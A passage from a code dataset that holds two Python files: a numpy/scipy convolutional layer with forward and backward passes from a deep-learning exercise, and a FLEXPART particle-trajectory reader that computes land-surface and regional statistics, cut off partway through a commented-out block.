"matplotlib.pyplot", "line_number": 104, "usage_type": "name"}]}
+{"seq_id": "651126387", "text": "\nimport numpy as np\nimport copy\nfrom scipy.signal import convolve\nfrom scipy.signal import correlate\n\nfrom Layers import Initializers\nfrom Layers.Base import BaseLayer\n\n\nclass Conv(BaseLayer):\n\n    def __init__(self, stride_shape, convolution_shape, num_kernels):\n        super().__init__()\n        # !!! single value or tuple !!!\n        self.stride_shape = stride_shape\n\n        self.input_channels = convolution_shape[0]\n        self.kernel_shape = convolution_shape[1:]\n        self.num_kernels = num_kernels\n        self.fan_in = convolution_shape\n        self.fan_out = np.asarray(self.fan_in)\n        self.fan_out[0] = num_kernels\n\n        self.pad_x1 = self.pad_x2 = self.pad_y1 = self.pad_y2 = 0\n\n        # set padding for y-axis\n        if self.kernel_shape[0] % 2 == 0:\n            self.pad_y1 = self.kernel_shape[0] // 2 - 1\n            self.pad_y2 = self.kernel_shape[0] // 2\n        else:\n            self.pad_y1 = self.pad_y2 = self.kernel_shape[0] // 2\n\n        # set padding for x-axis (if 2d convolution)\n        if len(self.kernel_shape) == 2:\n            if self.kernel_shape[1] % 2 == 0:\n                self.pad_x1 = self.kernel_shape[1] // 2 - 1\n                self.pad_x2 = self.kernel_shape[1] // 2\n            else:\n                self.pad_x1 = self.pad_x2 = self.kernel_shape[1] // 2\n\n        # initialize weights\n        self.weights = Initializers.UniformRandom().initialize(([self.num_kernels] + list(self.fan_in)), np.prod(self.fan_in), np.prod(self.fan_out))\n        self.bias = Initializers.Constant(0.1).initialize((self.num_kernels, 1), np.prod(self.fan_in), np.prod(self.fan_out))\n\n        self._gradient_weights = None\n        self._gradient_bias = None\n\n        #self.optimizer = None\n        self._weight_optimizer = None\n        self._bias_optimizer = None\n\n        self.input_shape = None\n        self.error_shape = None\n\n    # property: gradient:weights, gradient_bias, optimizer\n    @property\n    def gradient_weights(self):\n        return self._gradient_weights\n    @gradient_weights.setter\n    def gradient_weights(self, gradient_weights):\n        self._gradient_weights = gradient_weights\n    @property\n    def gradient_bias(self):\n        return self._gradient_bias\n    @gradient_bias.setter\n    def gradient_bias(self, gradient_bias):\n        self._gradient_bias = gradient_bias\n    @property\n    def optimizer(self):\n        return self._weight_optimizer\n    @property\n    def bias_optimizer(self):\n        return self._bias_optimizer\n    @optimizer.setter\n    def optimizer(self, optimizer):\n        self._weight_optimizer = optimizer\n        self._bias_optimizer = copy.deepcopy(self._weight_optimizer)\n\n    def forward(self, input_tensor):\n        self.original_input_tensor = input_tensor\n        # store input shape for backward pass\n        self.input_shape = np.shape(input_tensor)\n        # sample shape for convenience\n        self.unstrided_size = list(self.input_shape[2:])\n        sample_size = list(self.input_shape[2:])\n\n        # compute output sample size based on stride\n        if len(self.input_shape) == 3:\n            self.slice_y = slice(0, self.input_shape[2], self.stride_shape[0])\n            sample_size[0] = 1 + (self.unstrided_size[0]-1) // self.stride_shape[0]\n        elif len(self.input_shape) == 4:\n            self.slice_y = slice(0, self.input_shape[2], self.stride_shape[0])\n            self.slice_x = slice(0, self.input_shape[3], self.stride_shape[1])\n            sample_size[0] = 1 + (self.unstrided_size[0] - 1) // self.stride_shape[0]\n            sample_size[1] = 1 + (self.unstrided_size[1] - 1) // self.stride_shape[1]\n\n        # empty array to store output tensor\n        output = np.ndarray(tuple([0] + [self.num_kernels] + list(sample_size)))\n\n        # loop for every element of the batch\n        for batch in range(self.input_shape[0]):\n            # fetch and reshape single sample of batch\n            self.input = input_tensor[batch]\n            self.input = self.input.reshape([1]+list(self.input_shape[1:]))\n\n            # empty array to store kernel tensor\n            kernels = np.ndarray((1, 0) + tuple(sample_size))\n\n            # padding of sample tensor\n            if len(self.input_shape) == 3:\n                self.input = np.pad(self.input, ( (0, 0), (0, 0), (self.pad_y1, self.pad_y2) ) )\n            elif len(self.input_shape) == 4:\n                self.input = np.pad(self.input, ( (0, 0), (0, 0), (self.pad_y1, self.pad_y2), (self.pad_x1, self.pad_x2) ) )\n\n            # number of kernels determines output depth -> stack kernels\n            for kernel in range(self.num_kernels):\n                # forward pass -> correlation\n                weight = np.reshape(self.weights[kernel], ([1] + list(np.shape(self.weights[kernel]))))\n                out = correlate(self.input, weight, mode='valid') + self.bias[kernel]\n\n                # perform strided convolution by dropping unnecessary kernel layers\n                if len(self.input_shape) == 3:\n                    out = out[:, :, self.slice_y]\n                elif len(self.input_shape) == 4:\n                    out = out[:, :, self.slice_y, self.slice_x]\n\n                # append convolution output to one kernel\n                kernels = np.append(kernels, out, axis=1)\n            # append kernel output to one sample\n            output = np.append(output, kernels, axis=0)\n        # return output tensor\n        return output\n\n    def backward(self, error_tensor):\n        # shape of error tensor\n        self.error_shape = np.shape(error_tensor)\n\n        # reorder weights for backwards pass\n        # empty array for backwards weights\n        back_weight = np.ndarray(tuple([0] + [self.error_shape[1]] + list(np.shape(self.weights)[2:])))\n        # loop over all input channels\n        for input in range(self.input_shape[1]):\n            # empty array to store weights of \"backward kernels\"\n            temp_weight = np.ndarray(tuple([1] + [0] + list(np.shape(self.weights)[2:])))\n            # loop over all gradient_layer kernels -> flip channel dimension\n            for gradient_layer in range(self.error_shape[1]-1,-1,-1):\n                # get and reshape single weight\n                temp = np.reshape(self.weights[gradient_layer, input], ([1]+[1]+list(np.shape(self.weights)[2:])))\n                # append weights to \"backwards kernel\"\n                temp_weight = np.append(temp_weight, temp,axis=1)\n            # append kernels to backwards weights tensor\n            back_weight = np.append(back_weight, temp_weight, axis=0)\n\n        # upsample error tensor (for strided convolution) awkward implementation :(\n        if len(self.error_shape) == 3:\n            upsampled_tensor = np.zeros((self.error_shape[0], self.error_shape[1], self.unstrided_size[0]))\n            for ax0 in range(self.error_shape[0]):\n                for ax1 in range(self.error_shape[1]):\n                    i = 0\n                    for ax2 in range(0, self.unstrided_size[0], self.stride_shape[0]):\n                        upsampled_tensor[ax0, ax1, ax2] = error_tensor[ax0, ax1, i]\n                        i = i+1\n        elif len(self.error_shape) == 4:\n            upsampled_tensor = np.zeros((self.error_shape[0], self.error_shape[1], self.unstrided_size[0], self.unstrided_size[1]))\n            for ax0 in range(self.error_shape[0]):\n                for ax1 in range(self.error_shape[1]):\n                    j = 0\n                    for ax2 in range(0, self.unstrided_size[0], self.stride_shape[0]):\n                        i = 0\n                        for ax3 in range(0, self.unstrided_size[1], self.stride_shape[1]):\n                            upsampled_tensor[ax0, ax1, ax2, ax3] = error_tensor[ax0, ax1, j, i]\n                            i = i+1\n                        j = j+1\n\n        # perform \"backwards convolution\"\n        # empty array to store gradient_layer tensor\n        gradient_layer = np.ndarray(tuple([0] + [self.input_shape[1]] + list(np.shape(upsampled_tensor)[2:])))\n        # loop for every element of the batch\n        for batch in range(self.error_shape[0]):\n            # fetch and reshape single sample of batch\n            input = upsampled_tensor[batch]\n            input = input.reshape([1] + list(np.shape(upsampled_tensor)[1:]))\n            # empty array to store kernel tensor\n            kernels = np.ndarray((1, 0) + tuple(np.shape(upsampled_tensor)[2:]))\n\n            # padding of sample tensor\n            if len(self.error_shape) == 3:\n                input = np.pad(input, ((0, 0), (0, 0), (self.pad_y1, self.pad_y2)))\n            elif len(self.error_shape) == 4:\n                input = np.pad(input, ((0, 0), (0, 0), (self.pad_y1, self.pad_y2), (self.pad_x1, self.pad_x2)))\n\n            # number of input channels determines gradient_layer depth -> stack channels\n            for kernel in range(self.input_shape[1]):\n                # backward pass -> convolution\n                weight = np.reshape(back_weight[kernel], ([1] + list(np.shape(back_weight[kernel]))))\n                # forward pass correlation -> backward pass convolution\n                out = convolve(input, weight, mode='valid')\n                # append convolution gradient_layer for one kernel\n                kernels = np.append(kernels, out, axis=1)\n            # append kernel gradient_layer for one sample\n            gradient_layer = np.append(gradient_layer, kernels, axis=0)\n\n        # compute weights and bias gradient\n        self.gradient_weights = np.zeros(np.shape(self.weights))\n        self.gradient_bias = np.zeros(np.shape(self.bias))\n        for batch in range(self.error_shape[0]):\n            grad_weight = np.ndarray((0,) + tuple(self.fan_in[:]))\n\n            input = self.original_input_tensor[batch]\n            input = input.reshape([1] + list(np.shape(self.original_input_tensor)[1:]))\n\n            # padding of sample tensor\n            if len(np.shape(self.original_input_tensor)) == 3:\n                input = np.pad(input, ( (0, 0), (0, 0), (self.pad_y1, self.pad_y2) ) )\n            elif len(np.shape(self.original_input_tensor)) == 4:\n                input = np.pad(input, ( (0, 0), (0, 0), (self.pad_y1, self.pad_y2), (self.pad_x1, self.pad_x2) ) )\n\n            # number of error_kernels determines gradient_weight depth\n            for kernel in range(self.error_shape[1]):\n                # get kernel from error_tensor\n                error = np.reshape(upsampled_tensor[batch, kernel], ([1,1] + list(np.shape(upsampled_tensor[batch, kernel]))))\n                # forward pass 3d correlation -> backward pass 3d correlation\n                out = correlate(input, error, mode='valid')\n                # append grad_weight\n                grad_weight = np.append(grad_weight, out, axis=0)\n                self.gradient_bias[kernel] = self.gradient_bias[kernel] + np.sum(error)\n            # sum gradient values for every sample in the batch\n            self.gradient_weights = self.gradient_weights + grad_weight\n\n        # update weights\n        if self.optimizer is not None:\n            self.weights = self.optimizer.calculate_update(self.weights, self.gradient_weights)\n            self.bias = self.bias_optimizer.calculate_update(self.bias, self.gradient_bias)\n\n        # return gradient_layer tensor\n        return gradient_layer\n\n    def initialize(self, weights_initializer, bias_initializer):\n        self.weights = weights_initializer.initialize(([self.num_kernels] + list(self.fan_in)), np.prod(self.fan_in), np.prod(self.fan_out))\n        self.bias = bias_initializer.initialize((self.num_kernels, 1), np.prod(self.fan_in), np.prod(self.fan_out))\n", "sub_path": "Exercise 3/Layers/Conv.py", "file_name": "Conv.py", "file_ext": "py", "file_size_in_byte": 11586, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "Layers.Base.BaseLayer", "line_number": 11, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 22, "usage_type": "call"}, {"api_name": "Layers.Initializers.UniformRandom", "line_number": 43, "usage_type": "call"}, {"api_name": "Layers.Initializers", "line_number": 43, "usage_type": "name"}, {"api_name": "numpy.prod", "line_number": 43, "usage_type": "call"}, {"api_name": "Layers.Initializers.Constant", "line_number": 44, "usage_type": "call"}, {"api_name": "Layers.Initializers", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.prod", "line_number": 44, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 119, "usage_type": "call"}, {"api_name": "scipy.signal.correlate", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 196, "usage_type": "call"}, {"api_name": "scipy.signal.convolve", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 214, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 222, "usage_type": "call"}, {"api_name": "scipy.signal.correlate", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 241, "usage_type": "call"}]}
+{"seq_id": "210953486", "text": "#! /usr/bin/env python3\n# coding=utf-8\n\"\"\"\"\"\"\n\"\"\"\nAuthor: radenz@tropos.de\n\n\n\"\"\" \n\nimport sys, os\nimport re\nimport gc\nimport datetime\nfrom collections import defaultdict, Counter, namedtuple\nimport numpy as np\nimport toml\nimport netCDF4\nimport bcolz\n\nsys.path.insert(0, os.path.dirname(os.path.abspath(__file__)) + '/../')\nimport trace_source\n\n\ndef read_flexpart_traj_meta(fname, ncluster = 5):\n    \"\"\" \"\"\"\n    \n    data = {}\n    with open(fname) as f:\n        l = f.readline().split()\n        data['end_of_sim'] = l[0] + \"_\" + l[1].zfill(6)\n        data['version'] = l[2]\n        l = f.readline().split()\n        print(\"second line? \", l)\n        l = f.readline().split()\n\n        data['no_releases'] = int(l[0])\n        data['ncluster'] = ncluster\n        data['releases_meta'] = {} \n        data['releases_traj'] = defaultdict(lambda: defaultdict(list))\n        for i in range(data['no_releases']):\n            l = f.readline().split()\n            data['releases_meta'][i] = {}\n            data['releases_meta'][i]['start_times'] = list(map(float, l[0:2]))\n            data['releases_meta'][i]['lat_lon_bounds'] = list(map(float, l[2:6]))\n            data['releases_meta'][i]['heights'] = list(map(float, l[6:8]))\n            data['releases_meta'][i]['species'] = float(l[8])\n            data['releases_meta'][i]['no_particles'] = float(l[9])\n            data['releases_meta'][i]['string'] =  f.readline().strip()\n            #print('releases meta', data['releases_meta'][i])\n            \n        for line in f:\n            l = line.split()\n            i = int(l.pop(0))\n            \n            props = ['age', 'lon', 'lat', 'height', 'mean_topo',\n                     'mean_mlh', 'mean_tph', 'mean_PV', 'rms_distance',\n                     'rms', 'zrms_distance', 'zrms', 'frac_ml', 'frac_lt_2pvu',\n                     'frac_tp']\n            for p in props:\n                match = re.match('([-+]?[0-9]*\\.?[0-9]*)(-[0-9]*\\.?[0-9]*)', l[0])\n                if match and not match.group(1) == '':\n                    l[0] = match.group(1)\n                    l.insert(1, match.group(2))\n                elem = float(l.pop(0))\n                #print(p, elem)\n                data['releases_traj'][i][p].append(elem)\n                \n                \n            # cluster are not continuous\n            # fix ourselfs\n            avail_clusters = list(range(ncluster))\n            cluster_data = []\n            for k in avail_clusters:\n                cluster_props = ['lon', 'lat', 'height', 'frac', 'rms']\n                cluster_data.append({})\n                for cp in cluster_props:\n                    match = re.match('([-+]?[0-9]*\\.?[0-9]*)(-[0-9]*\\.?[0-9]*)', l[0])\n                    if match and not match.group(1) == '':\n                        l[0] = match.group(1)\n                        l.insert(1, match.group(2))\n                    elem = float(l.pop(0))\n                    #key = 'c{}_{}'.format(k, cp)\n                    #print(key, cp, elem)\n                    cluster_data[k][cp] = elem\n            \n\n                for ci, elem in enumerate(cluster_data):\n                    for k, v in elem.items():\n                            key = 'c{}_{}'.format(ci, k)\n                            data['releases_traj'][i][key].append(v)\n                      \n                    \n            assert len(l) == 0, \"line not fully consumend\"\n        \n        return data\n\n\n\ndef get_quantized_ctable(dtype, cparams, quantize=None, expectedlen=None):\n    \"\"\"Return a ctable with the quantize filter enabled for floating point cols.\n    \n    License\n        This function is taken from the reflexible package (https://github.com/spectraphilic/reflexible/tree/master/reflexible).\n        Authored by John F Burkhart  with contributions Francesc Alted .\n        Licensed under: 'This script follows creative commons usage.'\n    \"\"\"\n    columns, names = [], []\n    for fname, ftype in dtype.descr:\n        names.append(fname)\n        if 'f' in ftype:\n            cparams2 = bcolz.cparams(clevel=cparams.clevel, cname=cparams.cname, quantize=quantize)\n            columns.append(bcolz.zeros(0, dtype=ftype, cparams=cparams2, expectedlen=expectedlen))\n        else:\n            columns.append(bcolz.zeros(0, dtype=ftype, cparams=cparams, expectedlen=expectedlen))\n    return bcolz.ctable(columns=columns, names=names)\n\n\ndef read_partpositions(filename, nspec, ctable=True, clevel=5, cname=\"lz4\", quantize=None):\n    \"\"\"Read the particle positions in `filename`.\n\n    This function strives to use as less memory as possible; for this, a\n    bcolz ctable container is used for holding the data.  Besides to be compressed\n    in-memory, its chunked nature makes a natural fit for data that needs to\n    be appended because it does not need expensive memory resize operations.\n\n    NOTE: This code reads directly from un UNFORMATTED SEQUENTIAL data Fortran\n    file so care has been taken to skip the record length at the beginning and\n    the end of every record.  See:\n    http://stackoverflow.com/questions/8751185/fortran-unformatted-file-format\n\n    Parameters\n    ----------\n    filename : string\n        The file name of the particle raw data\n    nspec : int\n        number of species in particle raw data\n    ctable : bool\n        Return a bcolz ctable container.  If not, a numpy structured array is returned instead.\n    clevel : int\n        Compression level for the ctable container\n    cname : string\n        Codec name for the ctable container.  Can be 'blosclz', 'lz4', 'zlib' or 'zstd'.\n    quantize : int\n        Quantize data to improve (lossy) compression.  Data is quantized using\n        np.around(scale*data)/scale, where scale is 2**bits, and bits is\n        determined from the quantize value.  For example, if quantize=1, bits\n        will be 4.  0 means that the quantization is disabled.\n\n    Returns\n    -------\n    ctable object OR structured_numpy_array\n\n    Returning a ctable is preferred because it is used internally so it does not require to be\n    converted to other formats, so it is faster and uses less memory.\n\n    Note: Passing a `quantize` param > 0 can increase the compression ratio of the ctable\n    container, but it may also slow down the reading speed significantly.\n\n    License\n        This function is taken from the reflexible package (https://github.com/spectraphilic/reflexible/tree/master/reflexible).\n        Authored by John F Burkhart  with contributions Francesc Alted .\n        Licensed under: 'This script follows creative commons usage.'\n\n\n    \"\"\"\n\n    CHUNKSIZE = 10 * 1000\n    xmass_dtype = [('xmass_%d' % (i + 1), 'f4') for i in range(nspec)]\n    # note age is calculated from itramem by adding itimein\n    out_fields = [\n                     ('npoint', 'i4'), ('xtra1', 'f4'), ('ytra1', 'f4'), ('ztra1', 'f4'),\n                     ('itramem', 'i4'), ('topo', 'f4'), ('pvi', 'f4'), ('qvi', 'f4'),\n                     ('rhoi', 'f4'), ('hmixi', 'f4'), ('tri', 'f4'), ('tti', 'f4')] + xmass_dtype\n    raw_fields = [('begin_recsize', 'i4')] + out_fields + [('end_recsize', 'i4')]\n    raw_rectype = np.dtype(raw_fields)\n    recsize = raw_rectype.itemsize\n\n    cparams = bcolz.cparams(clevel=clevel, cname=cname)\n    if quantize is not None and quantize > 0:\n        out = get_quantized_ctable(raw_rectype, cparams=cparams, quantize=quantize, expectedlen=int(1e6))\n    else:\n        out = bcolz.zeros(0, dtype=raw_rectype, cparams=cparams, expectedlen=int(1e6))\n\n    with open(filename, \"rb\", buffering=1) as f:\n        # The timein value is at the beginning of the file\n        reclen = np.ndarray(shape=(1,), buffer=f.read(4), dtype=\"i4\")[0]\n        assert reclen == 4\n        itimein = np.ndarray(shape=(1,), buffer=f.read(4), dtype=\"i4\")\n        reclen = np.ndarray(shape=(1,), buffer=f.read(4), dtype=\"i4\")[0]\n        assert reclen == 4\n        nrec = 0\n        while True:\n            # Try to read a complete chunk\n            data = f.read(CHUNKSIZE * recsize)\n            read_records = int(len(data) / recsize)  # the actual number of records read\n            chunk = np.ndarray(shape=(read_records,), buffer=data, dtype=raw_rectype)\n            # Add the chunk to the out array\n            out.append(chunk[:read_records])\n            nrec += read_records\n            if read_records < CHUNKSIZE:\n                # We reached the end of the file\n                break\n\n    # Truncate at the max length (last row is always a sentinel, so remove it)\n    out.trim(1)\n    # Remove the first and last columns\n    out.delcol(\"begin_recsize\")\n    out.delcol(\"end_recsize\")\n\n    if ctable:\n        return out\n    else:\n        return out[:]\n\n\n\nclass flex_statistics():\n    \"\"\"\n    build the flexpart statisctis\n\n    this is different to the hysplit stuff, as the data format differs\n    \"\"\"\n\n    def __init__(self, config, ng=None, ls=None):\n        self.statistics = {}\n        self.stat_ls = {}\n        self.stat_gn = {}\n\n        self.config = config\n        if ng is None:\n            self.ng = trace_source.land_sfc.named_geography(self.config['geonames'])\n        else:\n            self.ng = ng\n        if ls is None:\n            self.ls = trace_source.land_sfc.land_sfc()\n        else:\n            self.ls = ls\n \n\n        self.gn_categories = defaultdict(lambda: np.empty((0,)))\n        self.ls_categories = defaultdict(lambda: np.empty((0,)))\n\n\n    def add_partposits_ls(self, array):\n        \"\"\"\n        \"\"\"\n\n        for rh in self.config['height']['reception']:\n            if rh == 'md':\n                coords = array[array[:,3] < array[:,9]]\n            else:\n                coords = array[array[:,3] < float(rh)*1000]\n            # print('loop trough reception heights ', rh, coords.shape)\n\n            category = self.ls.get_land_sfc(coords[:,2], coords[:,1])\n\n            self.ls_categories[rh] = np.append(self.ls_categories[rh], category)\n\n\n\n    def calc_ls_stat(self):\n        \"\"\"\n        \"\"\"\n\n        occ_stat = namedtuple('occ_stat', 'no_below counter')\n\n        for rh in self.config['height']['reception']:\n            cat_this_height = self.ls_categories[rh]\n            no = float(cat_this_height.shape[0]) if cat_this_height.shape[0] > 0 else -1\n            c = {x: cat_this_height.tolist().count(x)/float(no) for x in list(self.ls.categories.keys())}\n\n            if rh != 'md':\n                rh_string = rh + 'km'\n            else:\n                rh_string = rh\n\n            print(rh_string, no, c)\n            self.stat_ls['occ_ens_below' + rh_string] = occ_stat(no_below=no, counter=c)\n\n\n        \n    def add_partposits_gn(self, array):\n        \"\"\"\n        \"\"\"\n\n        for rh in self.config['height']['reception']:\n            if rh == 'md':\n                coords = array[array[:,3] < array[:,9]]\n            else:\n                coords = array[array[:,3] < float(rh)*1000]\n            # print('loop trough reception heights ', rh, coords.shape)\n\n            category = self.ng.get_geo_names(coords[:,2], coords[:,1])\n\n            self.gn_categories[rh] = np.append(self.gn_categories[rh], category)\n\n\n\n    def calc_gn_stat(self):\n        \"\"\"\n        \"\"\"\n\n        occ_stat = namedtuple('occ_stat', 'no_below counter')\n\n        for rh in self.config['height']['reception']:\n            cat_this_height = self.gn_categories[rh]\n            no = float(cat_this_height.shape[0]) if cat_this_height.shape[0] > 0 else -1\n            c = {x: cat_this_height.tolist().count(x)/float(no) for x in list(self.ng.geo_names.keys())}\n\n            if rh != 'md':\n                rh_string = rh + 'km'\n            else:\n                rh_string = rh\n\n            print(rh_string, no, c)\n            self.stat_gn['region_ens_below' + rh_string] = occ_stat(no_below=no, counter=c)\n\n\n\n\n\n\n\nclass assemble_time_height(trace_source.assemble_pattern):\n\n\n    def assemble(self, dt_range=None):\n        \"\"\"\n        assemble the statistics for a range of trajectories and\n        save the statistics to dicts\n        \n        Args:\n            dt_range (list(datetime), optional): timerange for that the statistics is assembled,\n                default taken from config \n\n        \"\"\"\n        if dt_range is not None:\n            self.dt_list = trace_source.time_list(dt_range[0],\n                                                  dt_range[1],\n                                                  self.config['time']['step'])\n\n        # only for the testcase\n        traj_dir = self.config['partposit_dir']\n        days_avail = os.listdir(traj_dir)\n        # filter only for the trajectory files with tdump extension\n        folders = [f for f in days_avail if datetime.datetime.strptime(f, \"%Y%m%d_%H\") in self.dt_list]\n\n        assert len(folders) > 0, 'no folders with flexpart partposit data'\n\n        # the defaultdict is used here to sort the files by datetime within a dictionary\n        # filtered_files = defaultdict(list)\n        # for f in files:\n        #     # regex the yyyymmdd-hh timestamp in the filename\n        #     dt = datetime.datetime.strptime(re.search('([0-9]{8})-([0-9]){2}', f).group(0), '%Y%m%d-%H')\n        #     height = float(re.search('([0-9]{3,6})(?=_0[0-9-]{1,4}.tdump)', f).group(0))\n        #     #print(f, dt, height)\n        #     if dt >= self.dt_list[0] and dt <= self.dt_list[-1]:\n        #         filtered_files[dt].append((f,height))\n\n        # here an empty dict is generated with a zero containing array\n        self.stat2d_dict = defaultdict(lambda: np.zeros((len(self.dt_list), len(self.height_list))))\n\n        self.statls_dict = defaultdict(lambda: np.zeros((len(self.dt_list), len(self.height_list), 7)))\n\n        self.raw_dict = defaultdict(lambda: np.zeros((len(self.dt_list), len(self.height_list),\n                                                     abs(self.config['time']['tr_duration'])+1)))\n\n        # TODO make more than 7 geo names possible\n        ng = trace_source.land_sfc.named_geography(self.config['geonames'])\n        self.geo_names = ng.geo_names\n        no_geo_names = len(list(self.geo_names.keys()))\n        self.statgn_dict = defaultdict(lambda: np.zeros((len(self.dt_list),\n                                                         len(self.height_list),\n                                                         no_geo_names)))\n\n        ls = trace_source.land_sfc.land_sfc()\n        self.ls_categories = ls.categories\n\n\n        for it, dt in enumerate(self.dt_list[:]):\n            print('trajectories eding at ', dt)\n            files_for_time = os.listdir(traj_dir + dt.strftime(\"%Y%m%d_%H\"))\n            files_for_time = sorted([f for f in files_for_time if \"partposit_\" in f])\n            folder = traj_dir + dt.strftime(\"%Y%m%d_%H\") + \"/\"\n            print('files_for_time ', files_for_time)\n\n            print('heights ', len(self.height_list), self.height_list)\n\n            flex_stat = [flex_statistics(self.config, ls=ls, ng=ng) for h in self.height_list]\n            traj_meta = read_flexpart_traj_meta(folder + \"trajectories.txt\")\n\n            # different structure than hysplit\n            # 1. loop through the ending times of the current day\n            # 2. load partposit for a specified time\n            # 3. loop through heights\n\n            for f in files_for_time:\n                print(f)\n                part_pos = read_partpositions(folder + f, 1, ctable=False)\n\n                for ih, h in enumerate(self.height_list):\n                    print(\"at \", ih, h)\n                    release_sel = np.array([list(p) for p in part_pos if p[0]==ih+1])\n                    meta = traj_meta['releases_meta'][ih]\n                    print(meta)\n                    flex_stat[ih].add_partposits_gn(release_sel)\n\n                    flex_stat[ih].add_partposits_ls(release_sel)\n\n            # now assemble the statistics for all heights\n            for ih, h in enumerate(self.height_list): \n                flex_stat[ih].calc_gn_stat()\n                for k in list(flex_stat[ih].stat_gn.keys()):\n                    self.stat2d_dict[k+'_no_below'][it, ih] = flex_stat[ih].stat_gn[k].no_below\n                    print('stat gn ', h, k, flex_stat[ih].stat_gn[k])\n                    self.statgn_dict[k][it, ih] = list(flex_stat[ih].stat_gn[k].counter.values())\n\n                flex_stat[ih].calc_ls_stat()\n                for k in list(flex_stat[ih].stat_ls.keys()):\n                    self.stat2d_dict[k+'_no_below'][it, ih] = flex_stat[ih].stat_ls[k].no_below\n                    print('stat ls ', h, k, flex_stat[ih].stat_ls[k])\n                    self.statls_dict[k][it, ih] = list(flex_stat[ih].stat_ls[k].counter.values())\n\n\n            # #assert len(f_list) > 1\n            # for ih, f in enumerate(f_list):\n            #     print(it, ih, f[1], dt)\n            #     traj = trajectory(self.config)\n            #     traj.load_file(traj_dir+f[0], silent=True)\n            #     savepath = '{}/{}'.format(self.config['plot_dir'], dt.strftime('%Y%m%d'))\n\n\n            #     if \"timeinterval\" in self.config['plotmap']:\n            #         timeinterval = self.config['plotmap']['timeinterval']\n            #     else:\n            #         timeinterval = 12\n            #     if \"heights\" in self.config['plotmap']:\n            #         heightlist = self.config['plotmap']['heights']\n            #     else:\n            #         heightlist = [1500.0, 3000.0, 4500.0]\n            #     #if f[1] == 3000.0 and dt.hour % 12 == 0:\n            #     if f[1] in heightlist and dt.hour % timeinterval == 0:\n            #         print(\"plotting \", f[1], dt.hour)\n            #         plot_trajectories_ens(traj, savepath, ls=ls, config=self.config)\n            #     #continue\n\n            #     traj.evaluate(silent=True)\n            #     traj.add_land_sfc(ls, silent=True)\n            #     traj.add_ensemble_land_sfc(ls)\n            #     traj.add_ensemble_geo_names(ng)\n            #     #traj.add_area_land_sfc('md', ls, silent=True)\n            #     #traj.add_area_land_sfc(2000, ls, silent=True)\n\n            #     #print(\"at step\", it, dt, ih, f)\n            #     #print('keys ', traj.statistics.keys())\n            #     # now the empty dict is filled with the keys (and values) of the statistics dict from traj\n            #     for k in list(traj.statistics.keys()):\n            #         self.stat2d_dict[k][it, ih] = traj.statistics[k]\n            #     # subset of trajectory data to collect\n            #     param_collect = ['latitude', 'longitude', 'height', \"PRESSURE\", \"AIR_TEMP\",\n            #                      \"RAINFALL\", \"RELHUMID\", \"TERR_MSL\", 'age']\n            #     if 'land_sfc_category' in list(traj.data.keys()):\n            #         param_collect.append('land_sfc_category')\n            #     for k in param_collect:\n            #         #self.raw_dict[k][it, ih, :traj.data[1][k].shape[0]] = traj.data[1][k]\n            #         self.raw_dict[k][it, ih, :] = traj.data[1][k]\n            #         #self.raw_dict[k][it, ih, traj.data[1][k].shape[0]:] = -999.\n\n            #     for k in list(traj.stat_ls.keys()):\n            #         self.stat2d_dict[k+'_no_below'][it, ih] = traj.stat_ls[k].no_below\n        